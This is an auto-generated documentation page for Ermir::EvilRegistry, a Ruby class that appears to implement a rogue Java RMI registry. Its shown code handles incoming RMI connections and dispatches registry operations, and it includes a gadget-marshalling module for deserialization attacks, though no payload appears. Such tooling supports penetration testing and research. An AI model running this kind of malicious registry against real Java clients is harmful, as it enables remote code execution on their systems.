Class: Ermir::EvilRegistry

Inherits:
Object
  • Object
show all
Defined in:
lib/ermir/evil_registry.rb

Overview

include GadgetMarshaller

Instance Method Summary collapse

Constructor Details

#initialize(socket, gadget) ⇒ EvilRegistry 



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# File 'lib/ermir/evil_registry.rb', line 11

def initialize(socket, gadget)
  @socket, @gadget = [socket, gadget]
  @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
  @socket.sync = true
  @peeraddr = @socket.peeraddr
  @count = -32_768
end

Instance Method Details

#close_connection! ⇒ Object 



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# File 'lib/ermir/evil_registry.rb', line 65

def close_connection!
  @socket.close
end

#handle_connection! ⇒ Object 



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# File 'lib/ermir/evil_registry.rb', line 19

def handle_connection!
  unless rmi_header_valid?
    Utils.print_rmi_transport_msg("Ermir received an invalid RMI protocol header from the remote peer.", @peeraddr, "red")
    return
  end
  Utils.print_rmi_transport_msg("received a valid RMI protocol header.", @peeraddr)
  case @socket.getbyte
  when TransportConstants::STREAM_PROTOCOL
    @socket.putc(TransportConstants::PROTOCOL_ACK)
    @socket.write([@peeraddr[-1].size].pack("S>"))
    @socket.write(@peeraddr[-1])
    @socket.write([@peeraddr[1]].pack("L>"))
    Utils.print_rmi_transport_msg("sent acknowledgement of the RMI connection to the remote peer.", @peeraddr)

    # read and discard the endpoint

    len = @socket.read(2).unpack("S>")[0]
    rmi_server_ip = @socket.read(len)
    rmi_server_port = @socket.read(4).unpack("L>")[0]
  when TransportConstants::SINGLE_OP_PROTOCOL
  else
    Utils.print_rmi_transport_msg("received an invalid RMI protocol type.", @peeraddr, "red")
  end
  unless rmi_message_valid?
    Utils.print_rmi_transport_msg("received an invalid RMI message.", @peeraddr, "red")
    return
  end
  Utils.print_rmi_transport_msg("received a valid RMI message header from remote peer.", @peeraddr)
  _ = @socket.read(22)
  op = @socket.read(4).unpack("L>")[0]
  interface_hash = @socket.read(8).unpack("Q>")[0]

  unless interface_hash.eql?(rmi_server_port.zero? ? TransportConstants::INTERFACE_STUB_HASH : TransportConstants::INTERFACE_SKEL_HASH)
    Utils.print_rmi_transport_msg("received an incorrect Registry interface hash.", @peeraddr, "red")
    return
  end
  if (0..4).include?(op)
    ret = self.send("handle_#{TransportConstants::OPS[op]}")
    if ret.is_a?(String)
      Utils.print_rmi_transport_msg("error: #{ret}.", @peeraddr, "red")
    end
  else
    Utils.print_rmi_transport_msg("error: received an invalid RMI CALL OP.", @peeraddr, "red")
  end

end